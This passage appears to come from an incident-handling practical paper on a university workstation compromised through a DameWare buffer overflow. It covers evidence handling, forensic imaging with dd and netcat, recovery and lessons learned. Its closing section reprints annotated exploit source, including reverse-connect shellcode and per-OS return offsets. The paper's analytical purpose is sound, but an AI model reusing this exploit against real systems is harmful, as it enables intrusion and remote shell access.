under his username once Catherine had socially engineered him to help her obtain her
“homework”assignment.

"20040307
21:50:59","CAMPUS_LAB_1853","357","IN","IP:192.168.36.62","adumas"

"20040307
23:51:53","CAMPUS_LAB_1853","357","OUT","IP:192.168.36.62","adumas"

52 http://www.condreyconsulting.com/production/PRODUCTS/AuditLogin/Summary.htm
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"20040307
17:15:59","CAMPUS_LAB_1853","359","IN","IP:192.168.36.64","adumas"

"20040308
01:07:03","CAMPUS_LAB_1853","359","OUT","IP:192.168.36.64","adumas"

When Andre was questioned, he stated that he had logged on the network as himself to
help a female obtain a homework assignment. Though the system administrator was
suspicious of the claim, he had the lab manager run another query on Andre’s username.  
The results of that query revealed that Andre Dumas logged in to computer 359 at
17:15:59 on March 7, 2004 and did not log out until the early morning of March 8, 2004
at 1:07:03. The system administrator asked the lab manager about the location of
computers 357 and 359. The lab manager informed the system administrator that those
workstations were located next to each other.

Convinced that there had been an incident worth investigating further, the system
administrator removed the hard drive from the compromised system. He wrote the serial
number of the system and the time of removal in his notebook.  While the system’s case 
was opened, he examined it to verify that no hardware had been installed or removed.53

A description of the hard drive including the make, model, serial number, storage
capacity and installed operating system were written in the notebook. The system
administrator maintained physical control of the hard drive until he was able to create an
image. The drive was then sealed in an anti-static bag and signed by the system
administrator in such a way that the signature spanned the seal diagonally. This
information was eventually transferred to a chain of custody form which would be used
to demonstrate that the evidence had been handled properly should the University decide
to take legal action.

Incident Containment

Containment in this situation was absolute, the compromised system was removed from
the network and the hard drive was removed and replaced with a hard drive containing a
fresh operating system image. The system administrator and his supervisor employed
nmap, and tools such as psservice54 from SysInternals, along with custom shell scripts
to determine if any other systems were running FTP servers or running vulnerable
versions of DameWare. No other compromised systems were found though the suite of
scripts and tools were used over the course of a month to make sure that no additional
compromised systems were found.

Once an incident was suspected, the affected system was taken offline and placed on a
hub. The hub was used to provide a signal to the network card in order to prevent the
logs from recording multiple entries about a network failure. The logs are written to the
hard disk, so log growth is an aspect that would need to be managed during this phase as

53 The department tracks the computers by the computer’s serial number.  Each machine’s configuration 
can be determined from serial number.
54 Psservice allows system administrators to determine which services are running on remote systems.
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new log entries could be overwriting portions of the hard disk containing information that
might be useful to the investigation. The signal provided by the hub could fool a simple
booby-trap mechanism that may exist within an exploit by causing the exploit to believe
that it is still attached to the network.

Jump kits contain utilities and equipment from various sources that help the investigator
respond efficiently to perform the initial assessment and containment of an incident.
Jump kits are often custom tailored to the environment in which they are employed and
tend to evolve over time as the response team develops and responds to various types of
incidents. Jump kits can be broken down into software, hardware, and process
components. Though each jump kit will be tailored to its environment, there will be
common elements found in all good kits.

The software component will be custom made for each operating system the response
team encounters and will often be placed on a secure medium such as a CD-ROM or
write protected USB key. The reason for placing the tools on such media is to ensure that
the responders have known good copies of the tools that are to be used when responding
to an incident. Regardless of the operating system, there will be utilities that provide a
command environment or shell such as cmd.exe, command.com, or sh. There will be
tools to query the state of the network interfaces and to determine what ports are open
such as netstat, aport, fport, or lsof and tools to show running processes and services
such as pslist, net start, lsof, or ps. Knowing the date and time is important and tools to
determine this information are often found on jump kits as are tools such as dd, netcat,
and md5sum which are used to acquire a forensically sound image. Often the software
tools are taken from a known good system and modified to run independently of any
system libraries. The tools will often only provide command line only interfaces. This is
often a useful characteristic because the command line utilities tend to have small
memory footprints which are ideal for causing minimal disturbance to a system when
doing a live response. Command line utilities are also easily automated though the use of
scripts. The software tools mentioned are form a basis for the software side of the
incident response process. There may be other utilities employed by the incident
response team depending on the level of skill, training, and the policy under which the
incident response team operates. There are several resources where tools may be
obtained that are well suited for the software portion of a jump kit. SysInternals
(www.sysinternals.com) provides the freely available Pstools suite which contains
numerous utilities that are useful for incident response.  Red Hat’s Cygwin tools 
(www.cygwin.com or www.redhat.com/cygwin/) give the investigator access to a wealth
of utilities commonly found on Unix systems. When dealing with Microsoft operating
systems, the resource kits for each platform often contain command line tools that are
useful for a variety of tasks that normally would require the use of a graphical user
interface. FoundStone and @stake also have freely available tools that can be useful to
the incident response team.
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Within the scenario, the only tools that the system administrator used that were from the
jump kit were netstat and pslist.55 The system administrator used netstat with the “n” 
and “a” options which tells netstat to suppress name resolution (which makes it run
faster) and report on all connections. The system administrator was able to associate
process ID numbers to the listening ports by using the “o” option.The pslist tool is used
to display the process name associated with the port in use. Connecting the process ID to
a name is useful because it is an easy way to determine if the running binary is
appropriate for the port shown. For example, a process that listens on port 80 that is not a
web server would not be normal and would be of concern. The relative process ID
number can also indicate the age of the process as generally the higher the process ID, the
more recently the process was started. Netstat’s available options and their meaning are
shown in Figure 25 and the options available with pslist are shown in Figure 26.

Figure 25 - Netstat help screen.

55 To acquire the image, dd was also used, but that tool was located on the imaging system not the jump kit
media.
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Figure 26 - Pslist help screen.

Pslist can be run on a local machine or it can used to examine remote computers as can
nearly all the SysInteral’s tools. During the remediation phase of the incident, psservice
was used to remotely search computers for running DameWare and Serv-U services.
When used to locate a service on a remote system, psservice is invoked as, psservice
<computer name> find <service name>. There were several hundred systems to examine
so this task was scripted to speed up the process.
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Figure 27 - Psservice help screen.

The hardware portion of a jumpkit might best be described as atype of Noah’s Ark, with 
two (or more) of any conceivable hardware item needed for incident response. An
organization may have customized this part of the jumpkit to fit the needs of their
specific environment, just as they might customize the software or administrative portion.
An organization that specializes in incident response or that has a very diverse
environment may have a large collection of equipment which enables the responders to
deal with nearly any situation. The hardware found in a jumpkit may consist of hubs,
network cables, drive cables, duct tape, anti-static bags, magnetic tapes, tape drives, hard
disks, blank CDs and DVDs, a tape recorder and media or a digital tape recorder, a
disposable camera, possibly a digital camera, cross over cables, power strips, a dental
mirror, network taps, and a toolbox with all the usual tools needed to deal with computer
hardware. An extremely serious responder may even use a Time Domain Reflectometer.

The hubs found in the jumpkit should be the type containing AUI, BNC and RJ-45
connections for maximum flexibility. Hubs are used to during the response phase to
“break in” to the connection and enable the investigator to capture and examine the traffic 
going to and from the compromised system. This function can also be served by a
network tap. In the scenario the system administrator inserted a hub between the
compromised system and the wall plate so the network traffic going to and from the
system could be studied. The advantage of a hub over a tap is that a hub will enable the
responder to sever the compromised system’s network connection while maintaining 
sense to the network card. Some operating systems such as the Unix variants are able to
detect a network failure and will write entries into their log files. This would cause data
to be written to the hard disk and could result in the loss of important information
pertaining to the incident. Another concern often spoken of at computer conferences
concerning the severing of a network connection revolves around triggering a destruction
mechanism on the compromised system. The idea is that the attacker may have created a
process that monitors the network connection and when it drops for more than the briefest
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period of time the process will assume that the machine been detected and will begin a
cleanup operation which may involve overwriting the disk. Triggering a self-destruct
mechanism could hinder the forensics process, so some effort is taken to avoid it. The
network cables would be used to patch the investigator’s system into the compromised 
network or hub so an examination of network traffic can take place. The crossover
network cable would be used to interconnect two systems and eliminate the latency
present in the network. The drive cables would be used to connect a clean hard drive to
the compromised system in the event the hard drive from the compromised system can
not be removed from the location or the machine itself or if acquiring an image across the
network is not possible or practical. The tape recorder or digital tape recorder would be
used for the responder to dictate notes about the system or to capture ideas or questions
relating to the incident. The tape drive would be used to capture an image much like a
hard drive would be used. Tape is useful for acquiring data from systems where
attaching a hard drive or performing an image acquisition across the network is not
practical. Tapes are also used for spanning large images though the size of hard disks has
been steadily increasing and now matches or exceeds the storage capacity of many tape
formats. Another discussion surrounds the use of photographic media used during the
response process. Film cameras have long been the standard for crime scene
photography. This is popularity is primarily due to the photographic negative being fixed
upon a media that is not easily altered. The problem with digital photography is the
image is not fixed in a rigid format and could be altered without detection. Digital
cameras that employ compact disk technology as a means of storing the image may be
better suited for the incident handler than digital cameras that employ compact flash,
smart media or memory sticks, as the compact disk media may be turned over for
independent analysis and validation. A dental mirror would be used to examine hard to
view portions of the computer if booby traps or some other physically destructive
mechanism was suspected of being used to deter the incident responder. A Time Domain
Reflectometer (TDR)is similar to RADAR only it’s used on networks. A TDR sends a
series of signals down the network cable and monitors the returned signal. This
technique is used to determine the length of network cables and to detect bends or
deformations in the wire. A TDR may also be used to locate certain types of taps placed
on the network.

The process or administrative portion of the jumpkit contains forms, guidelines,
checklists, pens, and spiral notebooks with numbered carbon pages. One of the key
points when responding to an incident is the fact that everything needs to be well
documented.  Using a bound “lab type” notebook containing numbered pages and a
carbon insert are ideal for creating notes in the field that can later be removed from the
notebook and secured. The numbering on each page provides an audit trail that can be
used to show if any pages are missing from a set of notes. The forms, guidelines and
checklists used for incident response will, like the rest of the jumpkit, evolve over time.
In general the forms found in all jumpkits will include blank chain-of-custody forms,
documentation on operating system specific commands, and contact information sheets.

Depending on what is found or what is suspected on a system, as well as the intent of the
organization in terms of legal action, the best way to create a backup would be to make a
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bit image copy. Creating a bit image, or forensically sound copy, of the media is not a
difficult process. The media can be removed from the system and placed inside another
system specially designed for forensics work or the media can be left in the system and
imaged across the network to another device. The major concern is to prevent
unintended alteration of the data on the storage media. The forensic image, to be valid,
must be an exact copy of the source media. This investigator prefers removing the media
when possible and connecting it to a system designed for forensics analysis and drive
image acquisition. The acquisition system consists of a custom built x86 system running
Linux, a write blocker which is attached to the disk to be imaged, and enough disk space
to store the created image. If the drive to be imaged (the compromised disk) is attached
to the secondary IDE controller and the system booted into Linux from the drive or CD-
ROM attached to the primary IDE controller, then the drive to be acquired will appear
under /dev/hdb. The commands used to acquire the image from such a system are,

dd if=/dev/hdb of=<path to store the image> bs=1m conv=noerror

Once the imaging process finishes, a checksum should be computed of the original drive
and the image. If the checksums match, an identical copy has been produced. The
original drive and the documentation pertaining to the drive (including the checksum)
should be placed in an evidence bag and securely stored.

If the drive can not be removed from the system, it can be acquired across the network
using one of several means. Numerous commercial products, if used properly, can be
used to acquire a forensic image across a network. One of the better Open Source tools
for acquiring images across the network is netcat56 or the encrypted version, cryptcat.57

Using netcat or cryptcat is a two stage process involving a sending session and a
receiving session. An image may be acquired while the system is running or the system
may be shut down and booted from other media. If the system is running its native
operating system when the image is acquired, then the checksums computed for the
source drive and the image at the final step of the imaging process are likely not going to
match. Usually the differences in the checksums result from changes that occurred on the
source drive while the image was being creating. Shutting the system down and booting
from media other than the media you wish to image should enable the investigator to
create an image whose checksum matches the source media.

To establish a listening netcat or cryptcat session, invoke the following command from
the machine where the image is to be received:

nc–l–p 5000 | dd of=<image name>.dd

This starts the netcat session and sets it to listen on port 5000.  The “|” or pipe symbol 
takes the data received by netcat and passes it to the dd utility. The dd utility writes an
output file with a name specified by the user.

56 http://www.atstake.com/research/tools/network-utilities/
57 http://www.sourceforge.net/projects/cryptcat/
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To transmit the image the following command would be issued from the system
containing the source disk:

dd if=/dev/hdb |nc <listening netcat session’s IP address> 5000

This command tells dd to read the drive attached to the secondary IDE controller and
direct the output to netcat. Netcat transmits the contents received from the pipe to the IP
address of the machine with the listening netcat session. The final argument given to
netstat sends the entire contents of the drive over port 5000.58 Once the drive has been
imaged checksums should be computed to determine if an exact copy has been created.
Tools such as md5, md5sum, or sha1sum are typically used to produce checksums.

Eradication

The eradication process was not difficult in this case because the attacker only
compromised a single system. The system administrator and his boss did use several
custom Perl scripts that searched the network for instances of DameWare, MP3s, and
unusual services. The Perl scripts served as wrappers around the netstat command, and
several of the tools from SysInternal’s Pstools suite.  Nmap, run from the office Linux
box was also used to search the network for FTP servers and other services in an effort to
establish an open/closed ports baseline of the network. From the point of view of the
user whose machine was compromised, the incident was over when a hard drive
containing a new operating system image was installed in the compromised system.

Cleanup operations can be very involved depending on the extent of the damage inflicted
by the attacker and the level of planning and preparation prior to experiencing an attack
which results in a compromise. Cleanup may also be influenced by the network and
system design and adherence to policy. Many organizations encourage users through
policy or design to save all data to a network drive. If this is the case, cleanup operations
may be sped up greatly as the individual PCs involved in the incident may be quickly
restored from known good system images. Generally organizations must return to a
functional status as quickly as possible and planning ahead makes a quick recovery
possible. The only cleanup required in this scenario involved removing the user’s hard 
drive and replacing it with a driving containing a fresh installation of the operating
system.  Workstations often lack the treatment given to servers.  A server’s files may 
have been check summed prior to the incident, a process that’s unlikely to have happened 
to a workstation. The checksums help the administrator locate a good backup to use to
restore the system. Cleanup operations can be difficult without checksums if anything
other than data must be restored because a determination of which binaries were not
compromised would have to be made. Within the scenario, the cleanup process involved
nothing more than replacing the user’s hard drive and allowing the network to restore the 
applications to theuser’s system.

58 http://www.giac.org/practical/GCFA/Ray_Strubinger.pdf
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There were four principal causes of the incident: poor software design or implementation
on the part of the software development company was identified as the primary cause;
while a lack of filters by the network team which enabled indiscriminate access to the
systems running the vulnerable software, poor system configuration, and change
management on the part of the system administrators were identified as contributing
factors.

Recovery

The incident response policy called for the operating system to be reinstalled, patches
applied, applications reinstalled and any data to be restored from backups should the
network drives be found to contain compromised data. This type of recovery is
sometimes referred to as the “scorched Earth” or “nuked from orbit” policy.This
approach to recovery is popular because it is often the quickest way to restore a system to
a known good state. A scorched Earth approach is often used if the organization decides
against legal action and desires to return the system to normal operation as soon as
possible.

The user was restored to normal operation within two hours of the attack being verified.
The speed of the restoration was possible as a consequence of the methods employed by
the IT department to support its users. The department supports a large college, each
made up of several smaller departments. Each department has a standardized hardware
and operating system configuration. Applications used by the end user are distributed
automatically over the network to the user upon logging in.  The user’s data such as 
documents, spread sheets, and email are stored in a home directory on a centrally located
file server. Applications distributed over the network are configured to save resulting
files to the user’s home directory or other directory on the network as appropriate. In the
scenario, the end user was restored to normal operation by the actions taken by one of the
staff members of the IT department. The system administrator removed the hard drive
from the system and requested that a new hard drive be installed. An IT staff member
installed a new hard drive into the compromised system, a Dell GX-260, and used a boot
floppy to establish a connection to the network. Once the system was on the network, the
IT staff member used Norton Ghost to install a new Windows XP Professional image
from an image repository on the network. Once the image was installed on the
workstation, a CD-ROM containing various Windows updates was used to patch the
system. Windows Update was also run to make sure all recent security patches were
applied to the system.59 At this point the workstation was turned over to its regular user.
The user can then log on to the network and the network servers push any user specific
applications down to the workstation based on the user’s group memberships.

59 The IT department creates a new Ghost image containing all available security patches each quarter.
This procedure speeds the deployment of workstations because the number of patches that need to be
applied to a system is minimized. The system only needs the patches that were released after the Ghost
image was created, which is a much smaller set than the patches that were released since the operating
system was made available.
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Changes and Improvements

The exploit resulted in several procedural changes intended to prevent a similar exploit
from occurring in the future and improve the overall response process.

 Improvements in documentation–It was ultimately determined that the
DameWare installation had gone undetected because network scans did not
normally look for services running on the port DameWare used. It was also
deemed plausible that DameWare could have been installed from old installation
media.

 Modification of scanning procedures–Future network scans will include all ports
used by applications present on workstations.

 Modification or hardening of the vulnerable application to make it more resistant
to attack.

 Modification of the network design to include intrusion detection sensors on more
network segments.

 Investigating the use of host or network based solutions that could restrict who
could access the system. Possible solutions to investigate include the use of host
based intrusion detection systems and filters applied to the workstation’s 
operating system or to network devices.

 The cessation of the use of the vulnerable application resulting from its
supercession by technologies included in the current desktop operating system.

 Employee education. Two areas were identified were education would be
appropriate, user awareness education and technical training for the IT staff.
Three areas of technical training are to be explored: auditing, incident handling,
and forensics.

 Changes to the hiring process. Background checks are now required for all IT
staff. (The University acknowledged that a background check would not stop an
inside attacker but in terms of staffing it would be helpful for the employment
process.)

 Formalize the incident handling process and train key personnel to respond to
incidents. (The lack of a formal process was one of the reasons the University did
not take legal action against the attacker.  The University’s legal counselbelieved
that the defense might be able to mount a successful attack against their case if
they went to court. Though an outside firm could be retained to independently
validate the findings, the University did not elect to pursue that option.)
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Testing to Verify the Elimination of the Vulnerability

Once the system was recovered and a newer version of DameWare installed, the system
was tested to determine if it remained vulnerable. A DameWare exploit was downloaded
and run against the system that had been compromised. The exploit was unable to
compromise the system, so the vulnerability present in the previous version of
DameWare was presumed to be eliminated. Ultimately the use of DameWare was
eliminated throughout the college as the remote desktop feature present in Windows XP
was found to be suitable replacement.

Lessons Learned

The incident resulted in a machine running a version of the Microsoft Windows operating
system being compromised. This system was running a version of DameWare prior to
version 3.73.00. The attacker used a readily available pre-authentication buffer overflow
exploit to gain access to the machine and set up an FTP server which was used to
distribute MP3s. The incident resulted from a number of factors including:

 Overworked Windows administrators due to insufficient staffing and training.
 Ignorance of the vulnerability.
 Lack of awareness - administrators were unaware a vulnerable software was in

use due to lack of documentation or poor documentation.

Follow up Meeting and Incident Report

Following the incident there were a series of meetings involving the members of the
incident response team and members of management. These meetings resulted in several
recommendations made by the Policy, Oversight and Management committee. These
recommendations included a review process to determine staff workloads, a system audit
(possibly by an outside entity) to determine what services are offered on university
systems, and an education program for the IT staff.

Management was charged with developing a timetable for implementing a plan to address
concerns. The following problems or weaknesses were identified that contributed to the
incident.

In the computer lab:
 Lack of monitoring and security cameras.
 No positive identification of computer lab users.
 Simultaneous logins should be prevented–Andre Dumas, adumas
 Barring a change in the Ghost process applications downloaded to lab computers

should be logged.
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On the Linux and Windows systems:
 Send logs to a central logging server.

At the border of the network:
 Block access to inbound systems on all ports.
 Require registration of servers.

On the network in general:
 Deploy intrusion detection systems on more segments
 Filter hosts.
 Alert to abnormal traffic patterns.

On the exploited system:
 Centralize logging
 Host based intrusion detection functionality with remote notification of events.
 Filter hosts
 Consult the NSA guidelines for securing Microsoft Windows systems.

Incident Response:
 Lack of formal procedures
 Lack of training and preparedness

Conclusion

Incident handling is a detailed and often time-consuming process. It requires a
significant amount of knowledge and training to do well. The processes involved often
require the cooperation and participation of people that are outside of the Information
Technology department. Areas such as Human Resources, Legal Counsel, and Public
Relations are often included in the incident handling processes of large organizations.
While large commercial organizations and government agencies may have created an
incident response team backed by policies and procedures, many smaller entities have not
because of limited resources. Incident handling, as one aspect of information security,
can be compared to an insurance policy–you hope you never need to use it, but sooner
or later most organizations will need to respond to an incident. Information technology
professionals, trained in incident handling and forensics, can enhance anorganization’s
security posture and respond swiftly to an incident thereby reducing costs and
inconveniences associated with an incident.
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Extras

The source code used in this study was contained in the archive along with the exploit
binary. The code was reviewed and the sections commented on in this section.
Uncommented source code can be found in Appendix B.

The first fourteen lines are just comments put into the code by the code's author. The
comments consist of the exploit name and the operating systems the exploit is known to
work against.

/*******************************************************************************
*
* DameWare Remote Control Server Stack Overflow Exploit
*
* Discovered by: wirepair
* Exploit by: Adik [ netmaniac (at) hotmail.KG ]
*
* Vulnerable Versions: <= 3.72.0.0
* Tested on: 3.72.0.0 Win2k SP3 & WinXp SP3
* Payload: Reverse Connect Shellcode, exits gracefully
* doesn't terminate remote process.
*
* [16/Dec/2003] Bishkek
*******************************************************************************/

The include statements shown below link various libraries into the code. Stdio.h is a
library that handles standard input and output. Strings.h is a library for processing text
phrases (which are often referred to as strings.) Winsock.h is the header file used to
establish network communications.

#include <stdio.h>
#include <string.h>
#include <winsock.h>
//#include "netmaniac.h"

A pragma is a preprocessing directive.
#pragma comment(lib,"ws2_32")

A define enables the program to make a substitution when it encounters a certain value.
In the define statements below, the string, ID_WINXP will be replaced with the number
2.

#define ACCEPT_TIMEOUT 10
#define RECVTIMEOUT 15

#define ID_UNKNOWN 0
#define ID_WIN2K 1
#define ID_WINXP 2
#define ID_WIN2K3 3
#define ID_WINNT 4
#define VER "0.5"
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//#include "dmware.rc"

The next eight lines are used to pad the exploit for transmission over the network.

/*******************************************************************************/
unsigned char send_buff[40] = {
0x30, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC3, 0xF5, 0x28, 0x5C, 0x8F, 0xC2, 0x0D, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
};

This is the shell code that is injected into the system and causes cmd.exe to spawn on the
attacker’s system.  What appears below is a hexadecimal representation of the shell code 
binary. If the shell code were disassembled it would reveal the assembly instructions that
are executed on an x86 architecture.

unsigned char kyrgyz_rshell[] = { //418
0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
0xC9, 0x66, 0xB9, 0xa2, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
0xDD, 0x03, 0x64, 0x03, 0x7C, 0xEE, 0x09, 0x64, 0x08, 0x88, 0x60, 0xAE, 0x89, 0x88, 0x88, 0x01,
0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xA3, 0x89, 0x88, 0x88, 0x01,
0xCE, 0x64, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 0x64,
0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0x82, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x56, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0x72, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x52, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x62, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x5E, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x52, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x42, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x64, 0x71, 0x22, 0xE8, 0x60, 0x32, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x22, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x6A, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 0x88,
0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 0x03,
0x50, 0xE0, 0x48, 0x20, 0xB7, 0x89, 0xE0, 0x8A, 0x88, 0xAA, 0x99, 0x03, 0x44, 0xE2, 0x98, 0xD9,
0xDB, 0x77, 0xDE, 0x60, 0x0D, 0x48, 0xFD, 0xD2, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x5A,
0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75,
0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x76, 0xCC, 0xAC, 0xB6, 0x01, 0xD4, 0xAC,
0xC0, 0x01, 0xD4, 0xAC, 0xC4, 0x01, 0xD4, 0xAC, 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9,
0xD9, 0xD9, 0x4E, 0xCC, 0xAC, 0x8B, 0x80, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 0xFE, 0x5A, 0xD9,
0x77, 0xDE, 0x52, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x56, 0x03, 0x40, 0xDB, 0x77,
0xDE, 0x6A, 0x77, 0xDE, 0x5E, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03,
0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4,
0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2,
0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48,
0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C,
0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55,
0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A,
0x8C, 0x88

};

This routine obtains the hostname.

/*******************************************************************************/
long gimmeip(char *hostname);
void cmdshell (int sock);
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int check_os(char *host,unsigned short target_port, unsigned int *sp);

struct timeval tv;
fd_set fds;
char recv_buff1[5000]="";

This routine sets up the structure, sp_levels based on the service pack. This will
be used when the exploit is sent to the vulnerable system.

/***********************-( os jmp esp offsets )-********************************/
struct sp_levels
{

unsigned long eip;
char library[20];

} ;

This routine sets up the memory offset based on the OS type. This is used to insert the
null operations and shell code in the right location.  The exploit’s author included a 
reference to where he obtained the offsets, DH Moore’sMetasploit website.

/*************-[ offsets grabbed from www.metasploit.com ]-*********************/
struct
{

//int sp;
//unsigned long eip;
char os_type[10];
struct sp_levels sp[7];

} target_os[]=
{

{
"UNKNOWN",{{0,""},{0,""},{0,""},{0,""},{0,""},{0,""},{0,""}}

},
{

"WIN 2000",
{{ 0x750362c3,"ws2_32.dll" },{ 0x75035173,"ws2_32.dll" },{

0x7503431b,"ws2_32.dll" },
{ 0x77db912b,"advapi32.dll" },{ 0x7c372063,"advapi32.dll" },{ 0,"" },{ 0,"" }

}
},
{

"WIN XP",
{ { 0x71ab7bfb,"ws2_32.dll" },{ 0x71ab7bfb,"ws2_32.dll" },{ 0,"" },

{ 0,"" },{ 0,"" },{ 0,"" },{ 0,"" } } //2 sp on winxp
},
{

"WIN 2003",
{{0x77db565c,"advapi32.dll"},{0,""},{0,""},{0,""},{0,""},{0,""},{0,""}}//SP 0??

},
{

"WIN NT4",
{ // only SP3 + SP 6 r filled in
{ 0x77777777,"unknown.dll" },{ 0x77777776,"unknown.dll" },{

0x77777775,"unknown.dll" },
{ 0x77f326c6,"kernel32.dll" },{ 0x77777773,"unknown.dll" },{

0x77777772,"unknown.dll" },
{ 0x77f32836,"kernel32.dll" }
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}//6 SP
}

};
/****************************************************************************/

Section below is the main body of the exploit program. Here various integers and
unsigned character values are initialized. The preamble containing the text, DameWare
Remote Control Server Overflow Exploit, can be seen. Below that the code indicates that
the usage message will be displayed if the exploit is passed less than four parameters.

This section of code places the exploit out on to the wire. Various error checks are done
in order to determine if the socket is open, and if the vulnerable host is available, and to
detect if the reply from the vulnerable host made it to the attacking system.

int main(int argc,char *argv[])
{

WSADATA wsaData;
struct sockaddr_in targetTCP, localTCP, inAccTCP;
int sockTCP,s,localSockTCP,accSockTCP, acsz,switchon;
unsigned char send_packet[4135]="";
unsigned short local_port, target_port;
unsigned long local_ip, target_ip;
unsigned int os_sp=0;
int os_ver=0;
printf("\n\t...oO DameWare Remote Control Server Overflow Exploit

Oo...\n\n"
"\t\t-( by Adik netmaniac[at]hotmail.KG )-\n\n");

printf(" - Versions vulnerable: <= DWRCS 3.72.0.0\n");
printf(" - Tested on: DWRCS ver: 3.72.0.0 Win2k SP3 & WinXP

SP1\n\n");
if(argc < 4)
{

printf(" Usage: %s <TargetIP> <TargetPort> <YourIp>
<YourPort>\n"

" eg: %s 10.0.0.1 6129 10.0.0.2
21\n\n",argv[0],argv[0]);

return 1;
}

WSAStartup(0x0202, &wsaData);
target_port = atoi(argv[2]);

local_port = htons((unsigned short)atoi(argv[4]));
local_ip = inet_addr(argv[3]);
local_port ^= 0x8888;
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local_ip ^= 0x88888888;

*(unsigned long *)&kyrgyz_rshell[194+27] = local_ip;
*(unsigned short *)&kyrgyz_rshell[201+27] = local_port;

printf( "[*] Target IP:\t%s \tPort: %s\n"
"[*] Local IP:\t%s \tListening Port:

%s\n\n",argv[1],argv[2],argv[3],argv[4]);

target_ip=gimmeip(argv[1]);
memset(&targetTCP, 0, sizeof(targetTCP));

memset(&localTCP, 0, sizeof(localTCP));

targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = target_ip;
targetTCP.sin_port = htons(target_port);

localTCP.sin_family = AF_INET;
localTCP.sin_addr.s_addr = INADDR_ANY;
localTCP.sin_port = htons((unsigned short)atoi(argv[4]));

printf("[*] Initializing sockets...");

if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{

printf("\t\t\t[ FAILED ]\n Socket1 not initialized!
Exiting...\n");

WSACleanup();
return 1;

}
if ((localSockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{

printf("\t\t\t[ FAILED ]\n Socket2 not initialized!
Exiting...\n");

WSACleanup();
return 1;

}
printf("\t\t\t[ OK ]\n");

printf("[*] Binding to local port: %s...",argv[4]);

if(bind(localSockTCP,(struct sockaddr *)&localTCP,sizeof(localTCP))
!=0)

{
printf("\t\t[ FAILED ]\n Failed binding to port: %s!

Exiting...\n",argv[4]);
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WSACleanup();
return 1;

}

printf("\t\t[ OK ]\n");
printf("[*] Setting up a listener...");
if(listen(localSockTCP,1) != 0)
{

printf("\t\t\t[ FAILED ]\nFailed to listen on port: %s!
Exiting...\n",argv[4]);

WSACleanup();
return 1;

}
printf("\t\t\t[ OK ]\n");
os_ver = check_os(argv[1],(unsigned short)atoi(argv[2]),&os_sp);

printf(" EIP: 0x%x
(%s)\n\n",target_os[os_ver].sp[os_sp].eip,target_os[os_ver].sp[os_sp].library);

printf("[*] Constructing packet for %s SP:
%d...",target_os[os_ver].os_type,os_sp);

memcpy(send_packet,"\x10\x27",2);
//memcpy(send_packet+500,"neTmaNiac",strlen("netmaniac"));
memset(send_packet+0xc4+9,0x90,700);

